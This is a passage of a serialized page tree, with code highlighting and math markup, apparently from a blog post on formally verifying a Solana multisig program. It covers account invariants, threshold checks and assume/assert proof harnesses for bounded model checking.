transaction_index",{"type":23,"tag":75,"props":32450,"children":32451},{"style":209},[32452],{"type":29,"value":1018},{"type":23,"tag":75,"props":32454,"children":32455},{"style":104},[32456],{"type":29,"value":28772},{"type":23,"tag":75,"props":32458,"children":32459},{"style":94},[32460],{"type":29,"value":32461},",       ",{"type":23,"tag":75,"props":32463,"children":32464},{"style":3621},[32465],{"type":29,"value":32466},"// look up and seed reference for transactions\n",{"type":23,"tag":75,"props":32468,"children":32469},{"class":77,"line":322},[32470,32474,32479,32483,32487,32491],{"type":23,"tag":75,"props":32471,"children":32472},{"style":82},[32473],{"type":29,"value":32061},{"type":23,"tag":75,"props":32475,"children":32476},{"style":110},[32477],{"type":29,"value":32478}," ms_change_index",{"type":23,"tag":75,"props":32480,"children":32481},{"style":209},[32482],{"type":29,"value":1018},{"type":23,"tag":75,"props":32484,"children":32485},{"style":104},[32486],{"type":29,"value":28772},{"type":23,"tag":75,"props":32488,"children":32489},{"style":94},[32490],{"type":29,"value":32431},{"type":23,"tag":75,"props":32492,"children":32493},{"style":3621},[32494],{"type":29,"value":32495},"// the last executed/closed transaction\n",{"type":23,"tag":75,"props":32497,"children":32498},{"class":77,"line":340},[32499,32503,32508,32512,32516,32521],{"type":23,"tag":75,"props":32500,"children":32501},{"style":82},[32502],{"type":29,"value":32061},{"type":23,"tag":75,"props":32504,"children":32505},{"style":110},[32506],{"type":29,"value":32507}," bump",{"type":23,"tag":75,"props":32509,"children":32510},{"style":209},[32511],{"type":29,"value":1018},{"type":23,"tag":75,"props":32513,"children":32514},{"style":104},[32515],{"type":29,"value":25870},{"type":23,"tag":75,"props":32517,"children":32518},{"style":94},[32519],{"type":29,"value":32520},",                     ",{"type":23,"tag":75,"props":32522,"children":32523},{"style":3621},[32524],{"type":29,"value":32525},"// bump for the multisig seed\n",{"type":23,"tag":75,"props":32527,"children":32528},{"class":77,"line":349},[32529,32533,32538,32542,32546,32551],{"type":23,"tag":75,"props":32530,"children":32531},{"style":82},[32532],{"type":29,"value":32061},{"type":23,"tag":75,"props":32534,"children":32535},{"style":110},[32536],{"type":29,"value":32537}," create_key",{"type":23,"tag":75,"props":32539,"children":32540},{"style":209},[32541],{"type":29,"value":1018},{"type":23,"tag":75,"props":32543,"children":32544},{"style":104},[32545],{"type":29,"value":32075},{"type":23,"tag":75,"props":32547,"children":32548},{"style":94},[32549],{"type":29,"value":32550},",           ",{"type":23,"tag":75,"props":32552,"children":32553},{"style":3621},[32554],{"type":29,"value":32555},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":75,"props":32557,"children":32558},{"class":77,"line":363},[32559,32563,32568,32572,32576,32580],{"type":23,"tag":75,"props":32560,"children":32561},{"style":82},[32562],{"type":29,"value":32061},{"type":23,"tag":75,"props":32564,"children":32565},{"style":110},[32566],{"type":29,"value":32567}," allow_external_execute",{"type":23,"tag":75,"props":32569,"children":32570},{"style":209},[32571],{"type":29,"value":1018},{"type":23,"tag":75,"props":32573,"children":32574},{"style":104},[32575],{"type":29,"value":3001},{"type":23,"tag":75,"props":32577,"children":32578},{"style":94},[32579],{"type":29,"value":611},{"type":23,"tag":75,"props":32581,"children":32582},{"style":3621},[32583],{"type":29,"value":32584},"// allow non-member keys to execute txs\n",{"type":23,"tag":75,"props":32586,"children":32587},{"class":77,"line":656},[32588,32592,32596,32600,32605,32609,32614,32619],{"type":23,"tag":75,"props":32589,"children":32590},{"style":82},[32591],{"type":29,"value":32061},{"type":23,"tag":75,"props":32593,"children":32594},{"style":110},[32595],{"type":29,"value":1934},{"type":23,"tag":75,"props":32597,"children":32598},{"style":209},[32599],{"type":29,"value":1018},{"type":23,"tag":75,"props":32601,"children":32602},{"style":104},[32603],{"type":29,"value":32604}," Vec",{"type":23,"tag":75,"props":32606,"children":32607},{"style":94},[32608],{"type":29,"value":295},{"type":23,"tag":75,"props":32610,"children":32611},{"style":104},[32612],{"type":29,"value":32613},"Pubkey",{"type":23,"tag":75,"props":32615,"children":32616},{"style":94},[32617],{"type":29,"value":32618},">,            ",{"type":23,"tag":75,"props":32620,"children":32621},{"style":3621},[32622],{"type":29,"value":32623},"// keys of the members\n",{"type":23,"tag":75,"props":32625,"children":32626},{"class":77,"line":705},[32627],{"type":23,"tag":75,"props":32628,"children":32629},{"style":94},[32630],{"type":29,"value":369},{"type":23,"tag":32,"props":32632,"children":32633},{},[32634],{"type":29,"value":32635},"Here we are verifying multiple things at once:",{"type":23,"tag":27910,"props":32637,"children":32638},{},[32639,32650,32661,32672],{"type":23,"tag":2801,"props":32640,"children":32641},{},[32642,32648],{"type":23,"tag":71,"props":32643,"children":32645},{"className":32644},[],[32646],{"type":29,"value":32647},"!self.keys.is_empty()",{"type":29,"value":32649}," : ensure there is at least one member",{"type":23,"tag":2801,"props":32651,"children":32652},{},[32653,32659],{"type":23,"tag":71,"props":32654,"children":32656},{"className":32655},[],[32657],{"type":29,"value":32658},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":32660}," : set an upper limit of 65535 members",{"type":23,"tag":2801,"props":32662,"children":32663},{},[32664,32670],{"type":23,"tag":71,"props":32665,"children":32667},{"className":32666},[],[32668],{"type":29,"value":32669},"self.threshold >= 1",{"type":29,"value":32671}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":2801,"props":32673,"children":32674},{},[32675,32681],{"type":23,"tag":71,"props":32676,"children":32678},{"className":32677},[],[32679],{"type":29,"value":32680},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":32682}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":24,"props":32684,"children":32686},{"id":32685},"verification-how-do-we-check-that-our-model-is-correct",[32687],{"type":29,"value":32688},"Verification: How do we check that our model is correct?",{"type":23,"tag":32,"props":32690,"children":32691},{},[32692,32694,32698,32700,32705],{"type":29,"value":32693},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":9690,"props":32695,"children":32696},{},[32697],{"type":29,"value":31191},{"type":29,"value":32699}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":9690,"props":32701,"children":32702},{},[32703],{"type":29,"value":32704},"automagically",{"type":29,"value":32706}," for anchor-lang programs.",{"type":23,"tag":32,"props":32708,"children":32709},{},[32710,32712,32718,32720,32725,32727,32732,32733,32738,32740,32745,32747,32752,32753,32759,32761,32767,32768,32774],{"type":29,"value":32711},"Specifically, for a given ",{"type":23,"tag":71,"props":32713,"children":32715},{"className":32714},[],[32716],{"type":29,"value":32717},"Context\u003CT>",{"type":29,"value":32719}," with ",{"type":23,"tag":9690,"props":32721,"children":32722},{},[32723],{"type":29,"value":32724},"incoming",{"type":29,"value":32726}," accounts of types (",{"type":23,"tag":71,"props":32728,"children":32730},{"className":32729},[],[32731],{"type":29,"value":31958},{"type":29,"value":5647},{"type":23,"tag":71,"props":32734,"children":32736},{"className":32735},[],[32737],{"type":29,"value":14998},{"type":29,"value":32739},") and ",{"type":23,"tag":9690,"props":32741,"children":32742},{},[32743],{"type":29,"value":32744},"outgoing",{"type":29,"value":32746}," accounts of type (",{"type":23,"tag":71,"props":32748,"children":32750},{"className":32749},[],[32751],{"type":29,"value":14998},{"type":29,"value":5647},{"type":23,"tag":71,"props":32754,"children":32756},{"className":32755},[],[32757],{"type":29,"value":32758},"close",{"type":29,"value":32760},") we define a ",{"type":23,"tag":71,"props":32762,"children":32764},{"className":32763},[],[32765],{"type":29,"value":32766},"pre_condition",{"type":29,"value":2721},{"type":23,"tag":71,"props":32769,"children":32771},{"className":32770},[],[32772],{"type":29,"value":32773},"post_condition",{"type":29,"value":32775}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":32,"props":32777,"children":32778},{},[32779],{"type":23,"tag":71,"props":32780,"children":32782},{"className":32781},[15256,15257],[32783],{"type":23,"tag":75,"props":32784,"children":32786},{"className":32785},[15262],[32787],{"type":23,"tag":75,"props":32788,"children":32790},{"className":32789,"ariaHidden":15268},[15267],[32791,32827],{"type":23,"tag":75,"props":32792,"children":32794},{"className":32793},[15273],[32795,32800,32808,32813,32817,32823],{"type":23,"tag":75,"props":32796,"children":32799},{"className":32797,"style":32798},[15278],"height:0.6833em;",[],{"type":23,"tag":75,"props":32801,"children":32805},{"className":32802,"style":32804},[15284,32803],"mathnormal","margin-right:0.13889em;",[32806],{"type":29,"value":32807},"P",{"type":23,"tag":75,"props":32809,"children":32811},{"className":32810},[15284],[32812],{"type":29,"value":648},{"type":23,"tag":75,"props":32814,"children":32816},{"className":32815,"style":15461},[15363],[],{"type":23,"tag":75,"props":32818,"children":32820},{"className":32819},[15466],[32821],{"type":29,"value":32822},":=",{"type":23,"tag":75,"props":32824,"children":32826},{"className":32825,"style":15461},[15363],[],{"type":23,"tag":75,"props":32828,"children":32830},{"className":32829},[15273],[32831,32836,32976,32980],{"type":23,"tag":75,"props":32832,"children":32835},{"className":32833,"style":32834},[15278],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":75,"props":32837,"children":32840},{"className":32838},[32839],"mop",[32841,32850],{"type":23,"tag":75,"props":32842,"children":32847},{"className":32843,"style":32846},[32839,32844,32845],"op-symbol","small-op","position:relative;top:0em;",[32848],{"type":29,"value":32849},"⋀",{"type":23,"tag":75,"props":32851,"children":32853},{"className":32852},[15299],[32854],{"type":23,"tag":75,"props":32855,"children":32858},{"className":32856},[15304,32857],"vlist-t2",[32859,32964],{"type":23,"tag":75,"props":32860,"children":32862},{"className":32861},[15309],[32863,32957],{"type":23,"tag":75,"props":32864,"children":32867},{"className":32865,"style":32866},[15314],"height:0.2253em;",[32868],{"type":23,"tag":75,"props":32869,"children":32871},{"style":32870},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[32872,32876],{"type":23,"tag":75,"props":32873,"children":32875},{"className":32874,"style":15324},[15323],[],{"type":23,"tag":75,"props":32877,"children":32879},{"className":32878},[15329,15330,15331,15332],[32880],{"type":23,"tag":75,"props":32881,"children":32883},{"className":32882},[15284,15332],[32884,32889,32895,32905,32911,32920,32929,32935,32940,32946,32951],{"type":23,"tag":75,"props":32885,"children":32887},{"className":32886},[15284,32803,15332],[32888],{"type":29,"value":940},{"type":23,"tag":75,"props":32890,"children":32892},{"className":32891},[15284,32803,15332],[32893],{"type":29,"value":32894},"cc",{"type":23,"tag":75,"props":32896,"children":32898},{"className":32897},[15363,15332],[32899],{"type":23,"tag":75,"props":32900,"children":32902},{"className":32901},[15332],[32903],{"type":29,"value":32904}," ",{"type":23,"tag":75,"props":32906,"children":32908},{"className":32907},[15466,15332],[32909],{"type":29,"value":32910},"∈",{"type":23,"tag":75,"props":32912,"children":32914},{"className":32913},[15363,15332],[32915],{"type":23,"tag":75,"props":32916,"children":32918},{"className":32917},[15332],[32919],{"type":29,"value":32904},{"type":23,"tag":75,"props":32921,"children":32923},{"className":32922},[15284,29,15332],[32924],{"type":23,"tag":75,"props":32925,"children":32927},{"className":32926},[15284,15332],[32928],{"type":29,"value":32724},{"type":23,"tag":75,"props":32930,"children":32933},{"className":32931},[32932,15332],"mopen",[32934],{"type":29,"value":643},{"type":23,"tag":75,"props":32936,"children":32938},{"className":32937},[15284,32803,15332],[32939],{"type":29,"value":14432},{"type":23,"tag":75,"props":32941,"children":32943},{"className":32942},[15284,32803,15332],[32944],{"type":29,"value":32945},"t",{"type":23,"tag":75,"props":32947,"children":32949},{"className":32948},[15284,32803,15332],[32950],{"type":29,"value":30499},{"type":23,"tag":75,"props":32952,"children":32955},{"className":32953},[32954,15332],"mclose",[32956],{"type":29,"value":1347},{"type":23,"tag":75,"props":32958,"children":32961},{"className":32959},[32960],"vlist-s",[32962],{"type":29,"value":32963},"​",{"type":23,"tag":75,"props":32965,"children":32967},{"className":32966},[15309],[32968],{"type":23,"tag":75,"props":32969,"children":32972},{"className":32970,"style":32971},[15314],"height:0.4747em;",[32973],{"type":23,"tag":75,"props":32974,"children":32975},{},[],{"type":23,"tag":75,"props":32977,"children":32979},{"className":32978,"style":15402},[15363],[],{"type":23,"tag":75,"props":32981,"children":32983},{"className":32982},[15284],[32984,32994,32999,33004,33009],{"type":23,"tag":75,"props":32985,"children":32987},{"className":32986},[15284,29],[32988],{"type":23,"tag":75,"props":32989,"children":32991},{"className":32990},[15284],[32992],{"type":29,"value":32993},"invariant",{"type":23,"tag":75,"props":32995,"children":32997},{"className":32996},[32932],[32998],{"type":29,"value":643},{"type":23,"tag":75,"props":33000,"children":33002},{"className":33001},[15284,32803],[33003],{"type":29,"value":940},{"type":23,"tag":75,"props":33005,"children":33007},{"className":33006},[15284,32803],[33008],{"type":29,"value":32894},{"type":23,"tag":75,"props":33010,"children":33012},{"className":33011},[32954],[33013],{"type":29,"value":1347},{"type":23,"tag":32,"props":33015,"children":33016},{},[33017],{"type":23,"tag":71,"props":33018,"children":33020},{"className":33019},[15256,15257],[33021],{"type":23,"tag":75,"props":33022,"children":33024},{"className":33023},[15262],[33025],{"type":23,"tag":75,"props":33026,"children":33028},{"className":33027,"ariaHidden":15268},[15267],[33029,33060],{"type":23,"tag":75,"props":33030,"children":33032},{"className":33031},[15273],[33033,33037,33042,33047,33051,33056],{"type":23,"tag":75,"props":33034,"children":33036},{"className":33035,"style":32798},[15278],[],{"type":23,"tag":75,"props":33038,"children":33040},{"className":33039,"style":32804},[15284,32803],[33041],{"type":29,"value":32807},{"type":23,"tag":75,"props":33043,"children":33045},{"className":33044},[15284],[33046],{"type":29,"value":7867},{"type":23,"tag":75,"props":33048,"children":33050},{"className":33049,"style":15461},[15363],[],{"type":23,"tag":75,"props":33052,"children":33054},{"className":33053},[15466],[33055],{"type":29,"value":32822},{"type":23,"tag":75,"props":33057,"children":33059},{"className":33058,"style":15461},[15363],[],{"type":23,"tag":75,"props":33061,"children":33063},{"className":33062},[15273],[33064,33068,33191,33195],{"type":23,"tag":75,"props":33065,"children":33067},{"className":33066,"style":32834},[15278],[],{"type":23,"tag":75,"props":33069,"children":33071},{"className":33070},[32839],[33072,33077],{"type":23,"tag":75,"props":33073,"children":33075},{"className":33074,"style":32846},[32839,32844,32845],[33076],{"type":29,"value":32849},{"type":23,"tag":75,"props":33078,"children":33080},{"className":33079},[15299],[33081],{"type":23,"tag":75,"props":33082,"children":33084},{"className":33083},[15304,32857],[33085,33180],{"type":23,"tag":75,"props":33086,"children":33088},{"className":33087},[15309],[33089,33175],{"type":23,"tag":75,"props":33090,"children":33092},{"className":33091,"style":32866},[15314],[33093],{"type":23,"tag":75,"props":33094,"children":33095},{"style":32870},[33096,33100],{"type":23,"tag":75,"props":33097,"children":33099},{"className":33098,"style":15324},[15323],[],{"type":23,"tag":75,"props":33101,"children":33103},{"className":33102},[15329,15330,15331,15332],[33104],{"type":23,"tag":75,"props":33105,"children":33107},{"className":33106},[15284,15332],[33108,33113,33118,33127,33132,33141,33150,33155,33160,33165,33170],{"type":23,"tag":75,"props":33109,"children":33111},{"className":33110},[15284,32803,15332],[33112],{"type":29,"value":940},{"type":23,"tag":75,"props":33114,"children":33116},{"className":33115},[15284,32803,15332],[33117],{"type":29,"value":32894},{"type":23,"tag":75,"props":33119,"children":33121},{"className":33120},[15363,15332],[33122],{"type":23,"tag":75,"props":33123,"children":33125},{"className":33124},[15332],[33126],{"type":29,"value":32904},{"type":23,"tag":75,"props":33128,"children":33130},{"className":33129},[15466,15332],[33131],{"type":29,"value":32910},{"type":23,"tag":75,"props":33133,"children":33135},{"className":33134},[15363,15332],[33136],{"type":23,"tag":75,"props":33137,"children":33139},{"className":33138},[15332],[33140],{"type":29,"value":32904},{"type":23,"tag":75,"props":33142,"children":33144},{"className":33143},[15284,29,15332],[33145],{"type":23,"tag":75,"props":33146,"children":33148},{"className":33147},[15284,15332],[33149],{"type":29,"value":32744},{"type":23,"tag":75,"props":33151,"children":33153},{"className":33152},[32932,15332],[33154],{"type":29,"value":643},{"type":23,"tag":75,"props":33156,"children":33158},{"className":33157},[15284,32803,15332],[33159],{"type":29,"value":14432},{"type":23,"tag":75,"props":33161,"children":33163},{"className":33162},[15284,32803,15332],[33164],{"type":29,"value":32945},{"type":23,"tag":75,"props":33166,"children":33168},{"className":33167},[15284,32803,15332],[33169],{"type":29,"value":30499},{"type":23,"tag":75,"props":33171,"children":33173},{"className":33172},[32954,15332],[33174],{"type":29,"value":1347},{"type":23,"tag":75,"props":33176,"children":33178},{"className":33177},[32960],[33179],{"type":29,"value":32963},{"type":23,"tag":75,"props":33181,"children":33183},{"className":33182},[15309],[33184],{"type":23,"tag":75,"props":33185,"children":33187},{"className":33186,"style":32971},[15314],[33188],{"type":23,"tag":75,"props":33189,"children":33190},{},[],{"type":23,"tag":75,"props":33192,"children":33194},{"className":33193,"style":15402},[15363],[],{"type":23,"tag":75,"props":33196,"children":33198},{"className":33197},[15284],[33199,33208,33213,33218,33223],{"type":23,"tag":75,"props":33200,"children":33202},{"className":33201},[15284,29],[33203],{"type":23,"tag":75,"props":33204,"children":33206},{"className":33205},[15284],[33207],{"type":29,"value":32993},{"type":23,"tag":75,"props":33209,"children":33211},{"className":33210},[32932],[33212],{"type":29,"value":643},{"type":23,"tag":75,"props":33214,"children":33216},{"className":33215},[15284,32803],[33217],{"type":29,"value":940},{"type":23,"tag":75,"props":33219,"children":33221},{"className":33220},[15284,32803],[33222],{"type":29,"value":32894},{"type":23,"tag":75,"props":33224,"children":33226},{"className":33225},[32954],[33227],{"type":29,"value":1347},{"type":23,"tag":32,"props":33229,"children":33230},{},[33231],{"type":29,"value":33232},"Our instruction invariants are represented as:",{"type":23,"tag":27910,"props":33234,"children":33235},{},[33236,33271],{"type":23,"tag":2801,"props":33237,"children":33238},{},[33239,33265,33266],{"type":23,"tag":71,"props":33240,"children":33242},{"className":33241},[15256,15257],[33243],{"type":23,"tag":75,"props":33244,"children":33246},{"className":33245},[15262],[33247],{"type":23,"tag":75,"props":33248,"children":33250},{"className":33249,"ariaHidden":15268},[15267],[33251],{"type":23,"tag":75,"props":33252,"children":33254},{"className":33253},[15273],[33255,33259],{"type":23,"tag":75,"props":33256,"children":33258},{"className":33257,"style":32798},[15278],[],{"type":23,"tag":75,"props":33260,"children":33263},{"className":33261,"style":33262},[15284,32803],"margin-right:0.05764em;",[33264],{"type":29,"value":1032},{"type":29,"value":863},{"type":23,"tag":71,"props":33267,"children":33269},{"className":33268},[],[33270],{"type":29,"value":31377},{"type":23,"tag":2801,"props":33272,"children":33273},{},[33274,33300,33301],{"type":23,"tag":71,"props":33275,"children":33277},{"className":33276},[15256,15257],[33278],{"type":23,"tag":75,"props":33279,"children":33281},{"className":33280},[15262],[33282],{"type":23,"tag":75,"props":33283,"children":33285},{"className":33284,"ariaHidden":15268},[15267],[33286],{"type":23,"tag":75,"props":33287,"children":33289},{"className":33288},[15273],[33290,33294],{"type":23,"tag":75,"props":33291,"children":33293},{"className":33292,"style":32798},[15278],[],{"type":23,"tag":75,"props":33295,"children":33297},{"className":33296,"style":33262},[15284,32803],[33298],{"type":29,"value":33299},"E",{"type":29,"value":863},{"type":23,"tag":71,"props":33302,"children":33304},{"className":33303},[],[33305],{"type":29,"value":31384},{"type":23,"tag":32,"props":33307,"children":33308},{},[33309,33311,33338,33340,33345,33347,33353],{"type":29,"value":33310},"And ",{"type":23,"tag":71,"props":33312,"children":33314},{"className":33313},[15256,15257],[33315],{"type":23,"tag":75,"props":33316,"children":33318},{"className":33317},[15262],[33319],{"type":23,"tag":75,"props":33320,"children":33322},{"className":33321,"ariaHidden":15268},[15267],[33323],{"type":23,"tag":75,"props":33324,"children":33326},{"className":33325},[15273],[33327,33331],{"type":23,"tag":75,"props":33328,"children":33330},{"className":33329,"style":32798},[15278],[],{"type":23,"tag":75,"props":33332,"children":33335},{"className":33333,"style":33334},[15284,32803],"margin-right:0.07153em;",[33336],{"type":29,"value":33337},"K",{"type":29,"value":33339}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":71,"props":33341,"children":33343},{"className":33342},[],[33344],{"type":29,"value":31708},{"type":29,"value":33346}," not an ",{"type":23,"tag":71,"props":33348,"children":33350},{"className":33349},[],[33351],{"type":29,"value":33352},"Err",{"type":29,"value":31960},{"type":23,"tag":32,"props":33355,"children":33356},{},[33357],{"type":29,"value":33358},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":923,"props":33360,"children":33362},{"id":33361},"account-invariants-1",[33363],{"type":29,"value":33364},"Account invariants",{"type":23,"tag":32,"props":33366,"children":33367},{},[33368,33370,33401,33403,33433,33435,33465],{"type":29,"value":33369},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":71,"props":33371,"children":33373},{"className":33372},[15256,15257],[33374],{"type":23,"tag":75,"props":33375,"children":33377},{"className":33376},[15262],[33378],{"type":23,"tag":75,"props":33379,"children":33381},{"className":33380,"ariaHidden":15268},[15267],[33382],{"type":23,"tag":75,"props":33383,"children":33385},{"className":33384},[15273],[33386,33390,33396],{"type":23,"tag":75,"props":33387,"children":33389},{"className":33388,"style":32798},[15278],[],{"type":23,"tag":75,"props":33391,"children":33393},{"className":33392},[15284],[33394],{"type":29,"value":33395},"¬",{"type":23,"tag":75,"props":33397,"children":33399},{"className":33398,"style":33334},[15284,32803],[33400],{"type":29,"value":33337},{"type":29,"value":33402},") or the account post-invariants should hold (",{"type":23,"tag":71,"props":33404,"children":33406},{"className":33405},[15256,15257],[33407],{"type":23,"tag":75,"props":33408,"children":33410},{"className":33409},[15262],[33411],{"type":23,"tag":75,"props":33412,"children":33414},{"className":33413,"ariaHidden":15268},[15267],[33415],{"type":23,"tag":75,"props":33416,"children":33418},{"className":33417},[15273],[33419,33423,33428],{"type":23,"tag":75,"props":33420,"children":33422},{"className":33421,"style":32798},[15278],[],{"type":23,"tag":75,"props":33424,"children":33426},{"className":33425,"style":32804},[15284,32803],[33427],{"type":29,"value":32807},{"type":23,"tag":75,"props":33429,"children":33431},{"className":33430},[15284],[33432],{"type":29,"value":7867},{"type":29,"value":33434},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":71,"props":33436,"children":33438},{"className":33437},[15256,15257],[33439],{"type":23,"tag":75,"props":33440,"children":33442},{"className":33441},[15262],[33443],{"type":23,"tag":75,"props":33444,"children":33446},{"className":33445,"ariaHidden":15268},[15267],[33447],{"type":23,"tag":75,"props":33448,"children":33450},{"className":33449},[15273],[33451,33455,33460],{"type":23,"tag":75,"props":33452,"children":33454},{"className":33453,"style":32798},[15278],[],{"type":23,"tag":75,"props":33456,"children":33458},{"className":33457,"style":32804},[15284,32803],[33459],{"type":29,"value":32807},{"type":23,"tag":75,"props":33461,"children":33463},{"className":33462},[15284],[33464],{"type":29,"value":648},{"type":29,"value":33466},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":32,"props":33468,"children":33469},{},[33470,33472],{"type":29,"value":33471},"So we are trying to prove that ",{"type":23,"tag":71,"props":33473,"children":33475},{"className":33474},[15256,15257],[33476],{"type":23,"tag":75,"props":33477,"children":33479},{"className":33478},[15262],[33480],{"type":23,"tag":75,"props":33481,"children":33483},{"className":33482,"ariaHidden":15268},[15267],[33484,33521,33553],{"type":23,"tag":75,"props":33485,"children":33487},{"className":33486},[15273],[33488,33492,33497,33502,33507,33511,33517],{"type":23,"tag":75,"props":33489,"children":33491},{"className":33490,"style":15384},[15278],[],{"type":23,"tag":75,"props":33493,"children":33495},{"className":33494},[32932],[33496],{"type":29,"value":643},{"type":23,"tag":75,"props":33498,"children":33500},{"className":33499,"style":32804},[15284,32803],[33501],{"type":29,"value":32807},{"type":23,"tag":75,"props":33503,"children":33505},{"className":33504},[15284],[33506],{"type":29,"value":648},{"type":23,"tag":75,"props":33508,"children":33510},{"className":33509,"style":15364},[15363],[],{"type":23,"tag":75,"props":33512,"children":33514},{"className":33513},[15369],[33515],{"type":29,"value":33516},"∧",{"type":23,"tag":75,"props":33518,"children":33520},{"className":33519,"style":15364},[15363],[],{"type":23,"tag":75,"props":33522,"children":33524},{"className":33523},[15273],[33525,33529,33534,33539,33543,33549],{"type":23,"tag":75,"props":33526,"children":33528},{"className":33527,"style":15384},[15278],[],{"type":23,"tag":75,"props":33530,"children":33532},{"className":33531,"style":33334},[15284,32803],[33533],{"type":29,"value":33337},{"type":23,"tag":75,"props":33535,"children":33537},{"className":33536},[32954],[33538],{"type":29,"value":1347},{"type":23,"tag":75,"props":33540,"children":33542},{"className":33541,"style":15461},[15363],[],{"type":23,"tag":75,"props":33544,"children":33546},{"className":33545},[15466],[33547],{"type":29,"value":33548},"→",{"type":23,"tag":75,"props":33550,"children":33552},{"className":33551,"style":15461},[15363],[],{"type":23,"tag":75,"props":33554,"children":33556},{"className":33555},[15273],[33557,33561,33566],{"type":23,"tag":75,"props":33558,"children":33560},{"className":33559,"style":32798},[15278],[],{"type":23,"tag":75,"props":33562,"children":33564},{"className":33563,"style":32804},[15284,32803],[33565],{"type":29,"value":32807},{"type":23,"tag":75,"props":33567,"children":33569},{"className":33568},[15284],[33570],{"type":29,"value":7867},{"type":23,"tag":32,"props":33572,"children":33573},{},[33574],{"type":29,"value":33575},"We can construct a proof harness like the following:",{"type":23,"tag":64,"props":33577,"children":33579},{"code":33578,"language":30683,"meta":7,"className":30684,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[33580],{"type":23,"tag":71,"props":33581,"children":33582},{"__ignoreMap":7},[33583,33591,33608],{"type":23,"tag":75,"props":33584,"children":33585},{"class":77,"line":78},[33586],{"type":23,"tag":75,"props":33587,"children":33588},{"style":94},[33589],{"type":29,"value":33590},"assume(P0)\n",{"type":23,"tag":75,"props":33592,"children":33593},{"class":77,"line":100},[33594,33599,33603],{"type":23,"tag":75,"props":33595,"children":33596},{"style":94},[33597],{"type":29,"value":33598},"res ",{"type":23,"tag":75,"props":33600,"children":33601},{"style":209},[33602],{"type":29,"value":212},{"type":23,"tag":75,"props":33604,"children":33605},{"style":94},[33606],{"type":29,"value":33607}," instruction_handler(...)\n",{"type":23,"tag":75,"props":33609,"children":33610},{"class":77,"line":121},[33611,33615,33619,33624,33629,33634],{"type":23,"tag":75,"props":33612,"children":33613},{"style":175},[33614],{"type":29,"value":31206},{"type":23,"tag":75,"props":33616,"children":33617},{"style":94},[33618],{"type":29,"value":643},{"type":23,"tag":75,"props":33620,"children":33622},{"style":33621},"--shiki-default:#F44747",[33623],{"type":29,"value":13434},{"type":23,"tag":75,"props":33625,"children":33626},{"style":94},[33627],{"type":29,"value":33628},"K ",{"type":23,"tag":75,"props":33630,"children":33631},{"style":33621},[33632],{"type":29,"value":33633},"||",{"type":23,"tag":75,"props":33635,"children":33636},{"style":94},[33637],{"type":29,"value":33638}," P1)\n",{"type":23,"tag":32,"props":33640,"children":33641},{},[33642],{"type":29,"value":33643},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":923,"props":33645,"children":33647},{"id":33646},"positive-instruction-invariant",[33648],{"type":29,"value":33649},"Positive instruction invariant",{"type":23,"tag":32,"props":33651,"children":33652},{},[33653,33655,33661,33663,33714],{"type":29,"value":33654},"Next we need to prove that ",{"type":23,"tag":71,"props":33656,"children":33658},{"className":33657},[],[33659],{"type":29,"value":33660},"success_if",{"type":29,"value":33662}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":71,"props":33664,"children":33666},{"className":33665},[15256,15257],[33667],{"type":23,"tag":75,"props":33668,"children":33670},{"className":33669},[15262],[33671],{"type":23,"tag":75,"props":33672,"children":33674},{"className":33673,"ariaHidden":15268},[15267],[33675,33701],{"type":23,"tag":75,"props":33676,"children":33678},{"className":33677},[15273],[33679,33683,33688,33692,33697],{"type":23,"tag":75,"props":33680,"children":33682},{"className":33681,"style":32798},[15278],[],{"type":23,"tag":75,"props":33684,"children":33686},{"className":33685,"style":33262},[15284,32803],[33687],{"type":29,"value":1032},{"type":23,"tag":75,"props":33689,"children":33691},{"className":33690,"style":15461},[15363],[],{"type":23,"tag":75,"props":33693,"children":33695},{"className":33694},[15466],[33696],{"type":29,"value":33548},{"type":23,"tag":75,"props":33698,"children":33700},{"className":33699,"style":15461},[15363],[],{"type":23,"tag":75,"props":33702,"children":33704},{"className":33703},[15273],[33705,33709],{"type":23,"tag":75,"props":33706,"children":33708},{"className":33707,"style":32798},[15278],[],{"type":23,"tag":75,"props":33710,"children":33712},{"className":33711,"style":33334},[15284,32803],[33713],{"type":29,"value":33337},{"type":29,"value":557},{"type":23,"tag":32,"props":33716,"children":33717},{},[33718],{"type":29,"value":33719},"Just like before we can construct a proof harness:",{"type":23,"tag":64,"props":33721,"children":33723},{"code":33722,"language":30683,"meta":7,"className":30684,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[33724],{"type":23,"tag":71,"props":33725,"children":33726},{"__ignoreMap":7},[33727,33735,33750],{"type":23,"tag":75,"props":33728,"children":33729},{"class":77,"line":78},[33730],{"type":23,"tag":75,"props":33731,"children":33732},{"style":94},[33733],{"type":29,"value":33734},"assume(S)\n",{"type":23,"tag":75,"props":33736,"children":33737},{"class":77,"line":100},[33738,33742,33746],{"type":23,"tag":75,"props":33739,"children":33740},{"style":94},[33741],{"type":29,"value":33598},{"type":23,"tag":75,"props":33743,"children":33744},{"style":209},[33745],{"type":29,"value":212},{"type":23,"tag":75,"props":33747,"children":33748},{"style":94},[33749],{"type":29,"value":33607},{"type":23,"tag":75,"props":33751,"children":33752},{"class":77,"line":121},[33753,33757],{"type":23,"tag":75,"props":33754,"children":33755},{"style":175},[33756],{"type":29,"value":31206},{"type":23,"tag":75,"props":33758,"children":33759},{"style":94},[33760],{"type":29,"value":33761},"(K)\n",{"type":23,"tag":32,"props":33763